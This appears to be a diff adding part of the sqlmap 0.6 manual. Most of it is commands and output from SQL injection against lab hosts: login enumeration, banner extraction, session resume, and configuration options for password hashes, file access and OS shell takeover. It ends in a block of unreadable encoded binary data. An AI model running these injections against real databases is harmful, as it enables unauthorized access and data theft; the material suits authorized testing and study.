+[hh:mm:57] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32))) FROM
+master..syslogins WHERE name NOT IN (SELECT TOP 0 name FROM master..syslogins ORDER BY name)
+ORDER BY name
+100% [====================================================] 22/22
+[hh:mm:58] [INFO] performed 160 queries in 0 seconds
+[hh:mm:58] [INFO] retrieved the length of query output: 2
+[hh:mm:58] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32))) FROM
+master..syslogins WHERE name NOT IN (SELECT TOP 1 name FROM master..syslogins ORDER BY name)
+ORDER BY name
+100% [====================================================] 2/2
+[hh:mm:59] [INFO] performed 20 queries in 0 seconds
+[hh:mm:59] [INFO] retrieved the length of query output: 25
+[hh:mm:59] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32))) FROM
+master..syslogins WHERE name NOT IN (SELECT TOP 2 name FROM master..syslogins ORDER BY name)
+ORDER BY name
+100% [====================================================] 25/25
+[hh:mm:00] [INFO] performed 181 queries in 1 seconds
+database management system users [3]:
+[*] BUILTIN\Administrators
+[*] sa
+[*] W2KITINQUIS\Administrator
+
+
+
+
+As you can see, sqlmap first calculates the length of the query output, +then estimated the time of arrival, shows the progress in percentage and +counts the number of retrieved query output characters.
+ + +Option: --update
It is possible to update sqlmap to the latest stable version available on
+its
+SourceForge File List page by running it with the
+--update
option.
+
+
+$ python sqlmap.py --update -v 4
+
+[hh:mm:53] [DEBUG] initializing the configuration
+[hh:mm:53] [DEBUG] initializing the knowledge base
+[hh:mm:53] [DEBUG] cleaning up configuration parameters
+[hh:mm:53] [DEBUG] setting the HTTP method to perform HTTP requests through
+[hh:mm:53] [DEBUG] creating HTTP requests opener object
+[hh:mm:53] [INFO] updating sqlmap
+[hh:mm:53] [DEBUG] checking if a new version is available
+[hh:mm:55] [TRAFFIC OUT] HTTP request:
+GET /doc/VERSION HTTP/1.1
+Host: sqlmap.sourceforge.net
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:55] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Fri, 01 Aug 2008 14:50:55 GMT
+Server: Apache/1.3.33 (Unix) PHP/4.3.10
+Last-Modified: Thu, 31 Jul 2008 11:10:19 GMT
+ETag: "9fcc53e-4-48919d9b"
+Accept-Ranges: bytes
+Content-Length: 4
+Connection: close
+Content-Type: text/plain
+X-Pad: avoid browser bug
+
+[hh:mm:55] [INFO] you are already running sqlmap latest stable version
+[hh:mm:55] [INFO] updating Microsoft SQL Server XML versions file
+[hh:mm:56] [TRAFFIC OUT] HTTP request:
+GET /FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx HTTP/1.1
+Host: www.sqlsecurity.com
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0;
+language=en-US
+Connection: close
+
+[hh:mm:02] [TRAFFIC IN] HTTP response (OK - 200):
+Cache-Control: private
+Connection: close
+Date: Fri, 01 Aug 2008 14:50:50 GMT
+Content-Length: 167918
+Content-Type: text/html; charset=utf-8
+Server: Microsoft-IIS/6.0
+X-Powered-By: ASP.NET
+X-AspNet-Version: 2.0.50727
+Set-Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0;
+expires=Fri, 10-Oct-2008 01:30:49 GMT; path=/; HttpOnly
+Set-Cookie: language=en-US; path=/; HttpOnly
+
+[hh:mm:02] [INFO] no new Microsoft SQL Server versions since the last update
+[hh:mm:02] [DEBUG] parsing XML queries file
+
+
+
+
+As you can see, sqlmap first check if a new stable version is available, +then in case it is, download it, unzip it and update the Microsoft SQL +Server XML versions file from Chip Andrews' +SQLSecurity.com site.
+ +Note that the default configuration file sqlmap.conf
is backupped
+to sqlmap.conf.bak
in case a new stable version is available and
+your copy is updated.
Option: -s
It is possible to log all queries and their output on a text file while +performing whatever request, both in blind SQL injection and in inband SQL +injection. +This is useful if you stop the injection and resume it after some time.
+ +Example on a PostgreSQL 8.2.7 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b \
+ -v 1 -s "sqlmap.log"
+
+[...]
+back-end DBMS: PostgreSQL
+
+[hh:mm:42] [INFO] fetching banner
+[hh:mm:42] [INFO] query: COALESCE(CAST(VERSION() AS CHARACTER(10000)), (CHR(32)))
+[hh:mm:42] [INFO] retrieved: PostgreSQL 8.2.7 o
+[hh:mm:43] [ERROR] user aborted
+
+
+
+
+As you can see, I stopped the injection with CTRL-C
while
+retrieving the PostgreSQL banner and logged the session to text file
+sqlmap.log
.
+
+
+$ cat sqlmap.log
+
+[hh:mm:40 MM/DD/YY]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Injection point][GET]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Injection parameter][id]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Injection type][numeric]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Parenthesis][0]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][CONCAT('1', '1')][]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][LENGTH(SYSDATE)][]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][COALESCE(9, NULL)][9]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][LENGTH('9')][1]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][DBMS][PostgreSQL]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][VERSION()][PostgreSQL 8.2.7 o
+
+
+
+
+As you can see, all queries performed and their output have been logged to +the session file in real time while performing the injection.
+ +The session file has a structure as follows:
++
+
+[hh:mm:ss MM/DD/YY]
+[Target URL][Injection point][Parameters][Query or information name][Query output or value]
+
+
+
+
+Performing the same request now, sqlmap calculates the query length,
+in the example VERSION()
, and resumes the injection from the last
+character retrieved to the end of the query output.
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b \
+ -v 1 -s "sqlmap.log"
+
+[...]
+back-end DBMS: PostgreSQL
+
+[hh:mm:37] [INFO] fetching banner
+[hh:mm:37] [INFO] retrieved the length of query output: 93
+[hh:mm:37] [INFO] resumed from file 'sqlmap.log': PostgreSQL 8.2.7 o...
+[hh:mm:37] [INFO] retrieving pending 75 query output characters
+[hh:mm:37] [INFO] query: COALESCE(CAST(SUBSTR((VERSION()), 19, 93) AS CHARACTER(10000)),
+(CHR(32)))
+[hh:mm:37] [INFO] starting 1 threads
+[hh:mm:37] [INFO] retrieved: n i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu
+4.2.3-2ubuntu4)
+banner: 'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu
+4.2.3-2ubuntu4)'
+
+
+
+
+
+Option: -c
It is possible to pass user's option from a configuration INI file, an
+example is sqlmap.conf
.
Example on a MySQL 5.0.51 target:
++
+
+$ python sqlmap.py -c "sqlmap.conf"
+
+[hh:mm:42] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
+[hh:mm:42] [WARNING] GET parameter 'cat' is not dynamic
+back-end DBMS: MySQL >= 5.0.0
+
+
+
+
+
+Option: --save
Example on a PostgreSQL 8.2.7 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b \
+ -v 1 --save
+
+[hh:mm:33] [INFO] saved command line options on '/software/sqlmap/sqlmap-ADMcR.conf'
+configuration file
+[hh:mm:33] [INFO] testing connection to the target url
+[hh:mm:33] [INFO] testing if the url is stable, wait a few seconds
+[...]
+
+
+
+
+As you can see, sqlmap saved the command line options to a configuration
+INI file, sqlmap-ADMcR.conf
.
+
+
+$ cat sqlmap-ADMcR.conf
+
+[Request]
+aCred =
+aType =
+agent =
+cookie =
+data =
+googleDork =
+method = GET
+proxy =
+referer =
+testParameter =
+threads = 1
+url = http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2
+userAgentsFile =
+
+[Miscellaneous]
+eta = False
+sessionFile =
+unionTest = False
+unionUse = False
+updateAll = False
+verbose = 1
+
+[Enumeration]
+col =
+db =
+dumpAll = False
+dumpTable = False
+excludeSysDbs = False
+getBanner = True
+getColumns = False
+getCurrentDb = False
+getCurrentUser = False
+getDbs = False
+getPasswordHashes = False
+getPrivileges = False
+getTables = False
+getUsers = False
+query =
+sqlShell = False
+tbl =
+user =
+
+[File system]
+rFile =
+wFile =
+
+[Takeover]
+osShell = False
+
+[Fingerprint]
+extensiveFp = False
+
+[Injection]
+dbms =
+string =
+
+
+
+
+The file is a valid sqlmap configuration INI file.
+You can edit the configuration options as you wish and pass it to sqlmap
+with the -c
option as explained in the previous paragraph:
+
+
+$ python sqlmap.py -c "sqlmap-ADMcR.conf"
+
+[...]
+back-end DBMS: PostgreSQL
+
+[hh:mm:10] [INFO] fetching banner
+[hh:mm:10] [INFO] query: COALESCE(CAST(VERSION() AS CHARACTER(10000)), (CHR(32)))
+[hh:mm:10] [INFO] retrieved: PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC)
+4.2.3 (Ubuntu 4.2.3-2ubuntu4)
+[hh:mm:16] [INFO] performed 657 queries in 6 seconds
+banner: 'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu
+4.2.3-2ubuntu4)'
+
+
+
+
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details.
+ +Whatever you do with this tool is uniquely your responsability. If you are +not authorized to punch holes in the network you are attacking be aware +that such action might get you in trouble with a lot of law enforcement +agencies.
+ + +Feel free to contact us for comments, suggestions, bug reports and +patches.
++
JEKa2owE zE6&-`=*X_#vF+)FMXJXd?|tPJID>VD?7nT2`W6(oIM0{=j*}+aOJ79ii9~+S$)o;Z znJqVRhqecblLRK8$k}5OL&P!6Z&H38KIxP!SJswcut${r{QVlQkdD|+;hIO~&!Sa0 z{Lj`$OAC%?2xaX!MQ5i|Jp)N)wGD&M5AO<|m$I6kUQn`QNY5ZccQnM(Key7fb~-U7 z7$$vi7Yia_D4j@R?xL@NEbgP4%!~l#&EZ2{x1CY%+xbR?&k)6yZZS(yG5$6qis*f3xAe=oaXM^@6uU`I+-r>R1b=_ z3i#b<%=RJ1vcB0R@IX>FC &gT10@&<{5Wt!psD??XK`N&*TZu~wt_qMqs7csWa#J5cF+0`Q>Qrur&^+ZZf zm)c8vU!S_L>%%^&vlVfig<83!XA82qSrii!KYSN{w_B1}rMTWr6Jtk%G}2-&hY>HR z9vZ))+NIie!Y9W0p5sR%^ZNpG-?zQ0qGn8fnjwpt`tG07QhCZr)ncek{k7V5d9~qO zZzfmm%eUUr$ hgD0P0jCWiL5|gs6mAXbgE>0qb-7Z#zQmlD+lElBom4jU- zZTWc&1ucrIcbV1yj$=6KGK%)CaJaU(_; pu-?b`qO^Nnd z8`CU2JCw6M!AxoN3s0lwxU<1%g@NUR{ltu}j@#c@ASU@+tR)4tl%Mw-KhCV%@6gp| zaHPaZiv*>dBp>L@72%Y+kUO3|yc9FJTfu>c_ZW9)x}NBxFjaZ6XG($oI?XTgk@mUe zCUe{M3KCrMpcfX?XQ`jw+m=O7v7|`7r@*7k68@Z4)}A6`yrXEMvVHuZ`kSa4wo&DJ zE!lg%Y1Vd0ZC&O}La7$PA`3lB*DE72>B4H)I=em`%8Z-drP$ELW_NXa9_M8C)1$mU zBG97y^P2@>O;JkC^*M|ar(^l@b*qo{yeo3P9NY;h32=Ta>KS-_mlUt&{a_n@l3Y(g zUu8i-lt;6#;7&)^JXXaYkiBU0uQ6}W<(@6wsqC^Zne4V;cV_j2&)Q#-zFrAu{#;rT zk^fMyZPw}Wb%RVBo7!zNbLB+F VVuiP84J+KCp3v%PVRbB?JOO) zr_`kO>qjG_>1*y!Me36Vp7klD(j7i}eH#h=F%?Ri6E{9v1W@kN%n@r;c*_uea%%b_ zeaBeUm6R%m)>G*DLx=C)C-zmmpP*VSmjLIPWaj>Q?B=^~jLIyz-;Yb`RzaS8=E$HW zC6#qk W5xVE_*Ol=w zD>XtwhaCR>mGLku<6&0DBlNj}&j~GS`0G#kHsOQS2Gl=+d>D|V0rZ4tnz5i=2Lmbx z2;`P42Ae_OF9{n#>3@jmF@Vj*0LcJ74+Yp1gTO*j=-*;pkSqOl8vs3FHT vzRT{bVnU&z1JhUh;sGT6alfENOd zAYexW9fFD=7WP}*%WBj9Mjiei(32?O1%dYiUKwm@;EB 0fUWN#7D~C6mhk^0Q4G(ffOEwS0bqTg60Qtu`T< ItT#_{HAED z`xpfWtPAKQ!ISvlf 4JHR#F{Zc$yJ)-eDqOIu;w6nlKNd^I~;-EbYNvH?^mhW3Vv$0Wm z8_Br;*<1DZt`7+Z2oOL@1c)E_G8Ym+K~Q7(9rLc9@7O5e|3Un~SNBmr*+5Wj1=W6h zHx=f$JRjIye=UEk9;*2hD xQ+00&|*KyFBUV- @zIiXm< zkK>U73b{33v*HDRi65(HyZ%5dIKWm|fT_UwTY#+q!~&jhi=8klQvIr||I|3QxosB) zy1qaMAE=*#?k@nq;XqsX6TkRO7=_xPt^d`yyV3;f?d=V oa^Ze`|XVJqV* z1x{z~Uq39jxrul63>rbJ_#z5{#sQ^`|53Kth;;wvYjCh iOe)ZFku zyaf_rA=nCq*9Y mK!Kb%dAB_uzDnqZCz+#J?b$SDd<9d9$)Iw!q-=l-Ky96Bl1z zD*xbVJtI7C?fSOY`NHG5x34;FY;@}uaflY0XO>5=|C&d0h {Gl~ePdKzSttZWHL%p+d9S0A-us@TB5%-L2T%Ku zbcCT#<}`N4Z5?l`WGC5!G9}jHxqoVfT%`i*C5 zzw^Lz|G9T*9ezjHEUSN%J{C&r)N_|I3CsMP(^{q2sT$8N?zJzavftSNM&;Z$UfO;` zwY#juEUl|7z-zzktX#a_P1Gfxk{eS|(viB`I0imXw_4owbRcetV!!F|36`E%Sp?n2 zd2+@8mCJ<8GCbkvso>s;W)wwNu~^;J&mp@HyQ_1_^dRrMiz>YDpFMw_VjyCCQKB~q z)n-n8LpDK!dvZ8Iiab`>OM5osj@R3l23Xi-If_?t(^>WH@81 i2{Tc0{V~#uSpQ&*SK`p>}6{B<+a_-1F zgzyH=&fkCI@J#JTki3hbrswVInWsaGw|uoC1&xsb5tLyMYcp{Xm5Ns8 0{n!zK261c2ie`_xFn+96s+om3-Rlx!R>gSw4?Eai!v?Ch>BmUeFgx)cDmN4|% zD(X6>m1e$2EmPtebMB|d?t8b-XZH)H_s{n~eQRz0dXM{F!y#gsL0o(+Yn8IQk0fv9 zsbVqBFW(^=hmFM z8 AA&v0>)6SFN}Plmn_iGfhX& zf2?DS=C8ZppV$5T8HTh|$#-bp2vYO%L~yC9KIZ{pM>)f#Daw#IIXZLXfNRF3%EViX zH)5Pz=%*=b-r48e7ah2{(`<|;S(Aj {DB6KT{8(%rC^UY%1jwcsou%H!;H6_?!?m(T`h_UvvOKR|K1 zEKsEKP%bBb>2uQ=b;swFw=W%*jqo@VQ&YFw%ilSC>{CULYV~+wd-geBG+)mRmm@qO z&D4*PVx7Br#9xZ+@#>Ece*fV7>xy2Fld*e=+yo#{rTVJ#&t^?`S{20bMv8>;O5vh; zNe@u%4&^m5y2bbDUAEU`PI$H*f2pg~fq7DSw pvp?&d&uogif@)_L ~diKZUXTVMZ)Mf>7?Aa!1Q9dk obC>INynC&mn=+mYeaU8?enlk_u$#sz5qiwtLD-9qOZA+qpf$8%QM_@$Wf _H_e%>Y)|Uc!hCkbs5%NrNNHsFtKNBC(syu-LHs+{yT^mKFhAm((v~shi3nW7 z2$PoZvTbFxeZj~JF4*Y_pUFmj |kMC0RN zo5a|%o&5=7nlC@@2}<8v7|XFSX4Z_z)t&B&4)e0L^-zd`ZDV%J?!Fl|uP_*-mX-mP zx0$5sRqiI;w_6vL#Fo8Jh{Tnm$y<)DB`%a(YtOj3(9JIyO+G$Z31q34liqlmO zs>cn#GP`lT={>Txw@eGys ~*g1DHKOdM_0z7sK5%@*Vz5dz%9CaK-Knj zl4R~l$F6PO9?Og`pA__(TsHscwzPPDe7U+_Aw*XLF8r|NoS5;Gvikyk$F kSF?V>Km9H&B4g;hmwXSgQ+iRxo)!g&(L zg>hc8d&Cq>cbp%U`!>LL`n_e-SE1|Z(1(W$W0MPf@5(&BNECR(xX<#%u4jCo97t?} z!ylngX?ZdvL-*y{6&vclFP|v#AM%Hrgvr&}>{`@4S($9AhyM09IVp=Wb3|@3nCw+R z)lQO;#qS?x8(cr%>??Dy(VKlNkcM77LvfgMr^JMROGxl*y8DMuvTgU-L8qF^5%Jl3 zlC--)aJv9+0qL0x>I0T+JEcyQFV);>T^f6NT4?^HugXIY&zM$=$uptkFG-cJ`pvT$ z!_2#G;fM{i5*Wh~Rur{4has}!-5NXM_Op)}9EzjQW{n8HrNmfsz|TD6%_W%;?&@70 zvhKV|aD+lEeMwyS;`s=Jfar0<9PvA4HX<1>ni5IKwq3LuY>N@hTo`HzaG)QNLWz1t zLCzpks6ygTQjjwo?|?YdzRM*~KIu-a$3Ro@S}~lZb3`F6HLP@uhWF*%=;x;5E)T|( zDN4bv;HBV?`^ps}7avrlsau}9@LidEr!kwPvp`*ky~a$mUam+jyOfKGZqcJYi*^kz zCRwiWs^xJ1&U3sv4y2WQ(M0+q`OMQy?T?#72Z1r_fqbW; zI(FVheEGV~yZLR;x1+vV^E%(Ec1uv6GGaZ=z%8xyajENo-duRz0Y8XD#?s>4=-ZGB zMEXYWrug5=dbpceyql28hYkjo>*Y&JB{p4s68OXQJk5n5dtAhm4EeYUJr&AE@8EYC zEotlu5-kn7Ca+Q?#?u5}vxQrdJWhMpqAk_dRJPry obT^ZV~yQfIVi znOc}Vn`wwqJ5hHW57bl(6de*Xpu?f5owSI#J3Gu$W_!`}{cI#-_OU-se$v{deR-$w z_6Myxu7;||xV{(ne0I9sJP{t=Ce%%o8eVRxpx{asEvigI^)~m!t3cS~6+vTz3$=GB z_|ikZu()cbRT!!t6)Cs9$1F(dun^Y|btKWYHT;NE r`It>X9!yxgU^x%pHlp`ptturWF6xVJ=UUv)dFT83+op5%}q8h&V#|k;x zIa`Smo<94R84y;{Zz>!HC~&|=5!%90fHXjW4tp{12sk+4ga9r6pJ#w44RGFO?k<0` zFbJ#sH|0cv_I0EfSh=8m9WN&ePX*!I+5a!(6t#1 n<6KN&VkY2mFPOh- z`46ZWe4U!mgb$WCzH1e `^k6!V9{~mcV^z?~q)(PXm&wOioFV75q z=MeVl_;H_G JI^I1eZ#Jb@nao_q&CJvy{1R?T!XB6xPoNGaN6eZR8&(^$ z-ZilCE&1x4%zxPMle|M!*ZXwNncB`-OM`P^LSlEIYG>oeptQuy4ttCbWuDEt=zGf1 zp#Rp9(yu`>r2(Y|Y`s}VZ>*>-Q-qf-UckDNbKI>GVpA3Gjj0=YFq=6p8g>Wjov)d; z>hA7VG_0(@JP~M==JA56D>i-CqQ1en;Enu|8H6Xs__(yTSLIF$mvK46_sZiw`k10I zPI-Q9t*COfhkN ymwI|Z)cBcj>krPQ+-d~pHh1D&8%A-+{|15eu lue{UG{s^eU{qabs2~T_MQAOdR$_z zPi;6Uia6e*_4`Ad=&5f#RdtOBuhV^P+844VCs6v24#jIkm~tvUd4Br+IkshM+1+L| zC6H@+jItRqj>qy|eihTc>$J1d((y`EDG@3jtCVTDCqIHIE~Wn n$OVl&B4fsJ*^}mi0pB zfLjpDzz-3TVAex?iR6(zx=e?3m_`>akk$nsQcWu^p7`Ese8`5lMECv>Lf!G{g3NG$ zK7Hu~>@0IJVqnlCrdLHNq|uf~D~_?slTS-`_@Ya }XZtdtWgTl9(lBVH3O%e2>98zIV(OW_?jMJj<#yjyF%aij9Ad#4Gk| zf|<@k } p={t|a_9Q>F1Dw1j mx*z+hzK#uR7MkOISSK-iw^W4nl7{5nu_-SX&a|`jg9RjdxE(_5@8<3u zW;*?H;IUVKX`^fc{n z-&aeoqpRu{q!t9!3?|uY6-bt}HMaDz^nrubpvA9l#gT9{w=|uCRC)yM*7iTJ^ zg@&aqU3)Ppd(#oA6%upNWgBk$Lm7vfQwQa-eNQY%)rqJ1AK2FU%Q8iyC$@1-KWfc# zzhlbjTw`>5x0IjAwAAQqtp5kyN&k|DIVgpEZ ic_PT$+?{(#wqQzwHe9QateAv@B#EAFh(wQ2UKMiuu9V!of z^WfFFUD>IeacVYcYUlC*!=RqWHnUhO^0L0f<6Nl)@j*4L zy6!zCW-Mt?&NkRR+2ULpm&f0g?_iTYsO5$xS6h^7_6FpVp9nvh$FNvRhCDgSAt%-< zUqDfQ?ny$q0e?E8{KBofW%n==wuw8k^LZsMVh3XUvLDb@8z(- UM=Wxb6F7Y^HE zpxoZFajFHcDkdNBq}DeUdL5%Mcb_FrvK|b2an&{Y5XHj#h_e-UwzWt@_XcHrwdC|U zH$!DgJGsr{KJkt;@eV|nD`SH77%McE{vIc}4ZTEAHH1bcy@P9yZE{F})TIiubn$VG zqer9TFo(Grt!o 3Tgfc)7SZu$vRI}as11(W9*t1O3h5N z$Fx=13%Sp9!nsa_Upvmy;c>VwaC_9;$R(y+98 `BX^6xHzFy9xBNN%R>BzW3PPMwHHs!)eFzAc|*ncL j)5jv*mZ|M{GG_?q=n-KZ?l=Gd7d ^^-|je~XcAT{ol`9!;l z+?!+lDn$GH%-8@ zzK!YXHpBflm!lm|&SQ>lBTtfh0hit}oV277D%2yz^KH+N8c8e1_rj5>Huo{bYraOr z?^|N@C({!Jqs^1Izv<-FV!zWod_WAoz0HuiqiO1 (?!nfx%CpX?&_jkXrQ&r`?e8fQz!=lo8;Rw oKF=$Cfwz7iQi^y5DA%Hl3WhIqWf+z%ex-S7vT*Jy$#{4q 7U}5 zsd^9v6pODo<7oY@_g-(QEjks_mVLoJqa#;2{b<2%vQt;D6tdb@e(&h>tsrWd?1)e- znN90?E=wHtnP0ffsT1X|p~~Jkcbtdbw&YIwr5JgMV-hS^0$+3X+`TSA=25l(3&|C- zmsc(ab!1Ids>?8 #|_ospHrD z;yI1^qNK;nn|k&}F7HG{Vhg>dW{{fdKaQWDy%*Wt(O4@tIGysnBQq9vCEdpHt*FDT zn-6O(hucrTzTWfHK=SqVj0&cf{GF-`0fiOIyX>Q)lYgbdKwrg%)aY*yS^Uf)Hql}D z1P~-7zfXrD2v0-Z{J^rG@2w_H|Fe;0b9Rb9IgZ4$MrhFC1=2SB6U(rmfgLbO;L%I} zorbZra)jDh*x{g_?jX4azs}>1e xaw8G(H{XMSJ`@aS`Tgtne%ftS#aqft;cNX7;M6K0hX|=OAr;+}v92Fs-O@o- z#HP%8rHumg5hAvlm) 6esj!PoCC#b zmvz|jeSt|3QC`%WMyI5jM;Z)dA+N}XNw3+u7e}IpPE^;@e&BR! `qPhV+3q zqp3q#?Hr)w6?stSRk|VKZOJh^njfFX+nbIu4;h)9{H%FajgBer2&RWTkuE~ DbnQp)Bj}bbQzvWGB z4kdlc7;)_z8HWO66iR*ku5*@}A9xZ~C5H+4JOWP%u6ZexupRes?}>Z;Z>{5`^zVp9 z%sIVqsFX-n^SydBmAj+eN;o8# zk63cxEKgDm)5x9f@2oF= yc(Feolbts9 zC#leRpHdSawLicJPBm#a_9?#s(VOt-K9#3K 6N1XP&^RZrfXjH9<<#=Nc1lkV?76nc5wy6nLkey6iucIEWHyt3DlENGTLF zOPfz+Zx?QP%uul5n$JrL<_;5 &5A= 6iCe;`8QC&LuSe@Hv@BLd5UYn|w% jakmh}8F7RnrT{SRQ&ro-sCz z%W1x;&!GODj4r |$FDbSo|g2y@TcBGkD)1%T6 z`y!`iUj`9J{~ZaEY5wTBXrY~zbeE#qVCKO$IS&jKJ}S#;df}Y@V2(RkbYagWksS$# z4V4kz_P7&()L6QUo8BR2UN(P<=%f4oPwYl?e6F)dZxJ3-?q#;YFN}>|y!*1Kd&M4O z+^2Mu+~+BeJ4{3c#8w_;^NmVufI~V_k8p}d?C#vnLMkP6R|OvvIDNp@l0%Hu+*Bp7 zwJ$#CKzBAo*t}SYrX87Lb?Z???8t2AnVlaPXGzTA%q-C(oGF9chZ`;%cTG3%W_K GlV6njgu&70XKqokw%p+Co4KsVk(3{;oJvt6 zJmQb0nch)qN ( zLx<40OK6WsBf1}Ia}R~$4MUp0*U0H5n?A{*q-HO@;e<4r@7 S@gkeLKc zIFp!BTK19sVeqyfl6Y|TUQLElqNt3P W#g;F2azLlniNj^`bE&YN? zc9j0^OD?$4Im_E`dITc<7U{eSZppI?Y(u=T;&r|L`sC-hg6=Q$@gpJ2z3+6UEst>> zBbEpe-7}gO9b_xS;=JTGG5PpuYAX|MG5>;#(EA&^m2&6=?JsVlHZet=e#0=R9Ah;? z^kMksS81z>IPU{7sLc8+Y=<&w^Lu6enALGSSN-2MklZ#7(r06g7ZBP{F gW%Z?1juV@}CjFrb*Uv2z}c5n&Tx^!?^p!p0U#(_UOm&KPt87^+&HP;dfJFQ9V5M z?-oXc`F3MCJoZQN{!o};QVIKDc54=W{{Arxvcs|b&B2{dac{CDuQ*T?l-%wOjxaKN z&?C8xc(FC#60PdmbcsU#+-bORMMWMJE^9EKmvKnvf(7@B^z%Ksrzv}jMpTZ&c1Nie zXC$)RHDI%u7Cv_*Nn@VEWwxbv*K_zxz#MhRLl5?>9HM*AHHI#|D`jPR1kukp#`Cqo ztQ}^3!D7% IfM;*Z1jk5xat-))-4k{YouC-c#>oZ*UA_NiU* z^ojZMF9s%q`z#_ K<&KwZwkrk?Oc>5ttXNQW~ zjYQt6(;pS<+%2n`6D2auE`L;mh;h{^I HEz}7`9P1)p26-bIhfE_hy-TEW=(4M?@^mN!PFoLdM#PYYQ`MsJnz`j!yS> zx@Duxn|ChE%mj25=> ObXeKjyr&MT6{JFmI#acrUct!Y!y*s7@A;B(V0!=lW-?3ax1Hg; zD()kB^{Io}Up3^SyV5wi#0AHjp6A$3J^NH|vdEmUcv$r+u1NKXEe+$Sqhqu?UGtI< zTD@2E(_G_lV^KSeSB6wq^t}^3XhlU;)l>9uZt&jmrb1|a>@-1_R_n8>H@80dp!kwz zk%`wTC1W{uS4GH~oERj-xm?@+P;bR|&Gxo*&o9h$D@*O;&h2nA@v#`%aWUXc;1jMQ z7RWH)moIMV%A|SfNew>Q-nmwa>K&xi8PBxt-YA&S_46H)B)T~2BV>w8Lhi_qlbkrg zsXCm^w5RaFG*fHtlA@VZ9GB3UDLQ#p?XDv&*(Y;HZ58sYtY0Yg>(SCpzhOO-p542h zyM2M?n@}^gaYg6+-fMd!**r|kyq*guko3~Ho!+0$+Lzjad%-|abI6Zt@Z<}Pg)B}X zh?FfKJPHz)_RNEi%JD;O |vv5;&JvmESSW)X&u7k}-c3MRbjp(UH4A5?`^tYtC zvy1*E$;Uyd{kwN#llgpw91`o^%5h%QYi|$bP=?YipRcun>^NVTG9MsOvkb9HwL_3+ zrneolku36Jyw4Y*)pyb>tA8Lub;#gT$H3SpMS1q;x6MwR!CD_Iqu3?kN9F$>np0e+ zRfQQ&tFlPua`?`FDdns(?CX2x$nXmHSK(s`KEYlQ6OL}oQyCJlm;wp=XPWtwjI`-6 znK(&?A5W|>+6oV6-M(AZUB2}q+Ih;UF)FQTn9MMY`RL_Bg(o3VE|srhktbScPMKWe zw;7)8rxhrE6G~ 04?jtI7q&&`p3kp{d{oBvNcl}cPgVD+Av30_o3LwU z`Oo-IJ?64HKTPg?Wq%*<9xe%$B@y=dl9{AkljDr?-YS82xQ%ApdtJw)ub%j}z&PNU z9!!5Yzj8$QkVRU@TfxFI9nQ(Li*bAGf`XrDMIuL{1qwOk+mWAwtW%maNM(9QO*29& z;U--!W&=Ej9{3$)IxTbj_5SvoIcfaoACPfsqPo8fjJIpvcqUymC^32M_VO*uiP`gW zW8STw$++EFjPCi>BeWRDxzlbqVY+6#g}u_%-UZfT-+z5yT=e2NHhk`U_5H&KijSzv zN1|0t^(sfswq0%@^D5jqLC0`DL$JaijF?hJ-s6bp7oH>O^mMVWddPS(_IlthYii2} zmJ=H$*qB}9J!~ZPW9EeeZk&aQ`%)lcM6Vzut$q1+ x;x~Y(rH=f+HWYU zci|>a7o|@HxCYDy9)7_P`!~eG>Ti4yDvy6pED(~w&BOxXM??OISorzW18_csP%=e` z{p_Pb5Pn5P6I4%sK22d`Uk#{-Zb;w%Bk_R5cT0dWGzJ`kLxD3st6d3%$0BSzWxK_? z`0BILe?BT5YVL@$ad!a#2!H+p-;y9Ih8A7@Wi*lX-!c^W`8!Y|8-4>2YU| Ga>|bNPQePlDBdbDsFKJV;QBUz;hI zI0iiS;s2*I{ZGdvH )zgxG2 zUHhB%#Gk%H0BUe`mY_=ukZNEh|36!~zdK8COldQXNbsTmn?^*e{?yWz&p>Tv@-}jO z|GC42@RJv-rdfUD90ojmW{Vvr?Z?4^C?(ocJq5$^!J4wlAL-*VXzW{x+{6?1KWq(6 zB0p<%I7->*bj03;#rKz9?0M_eS0WeBZ0F_e6^o1AE7APiC0cGmtL1cHi%U!^BCD}* 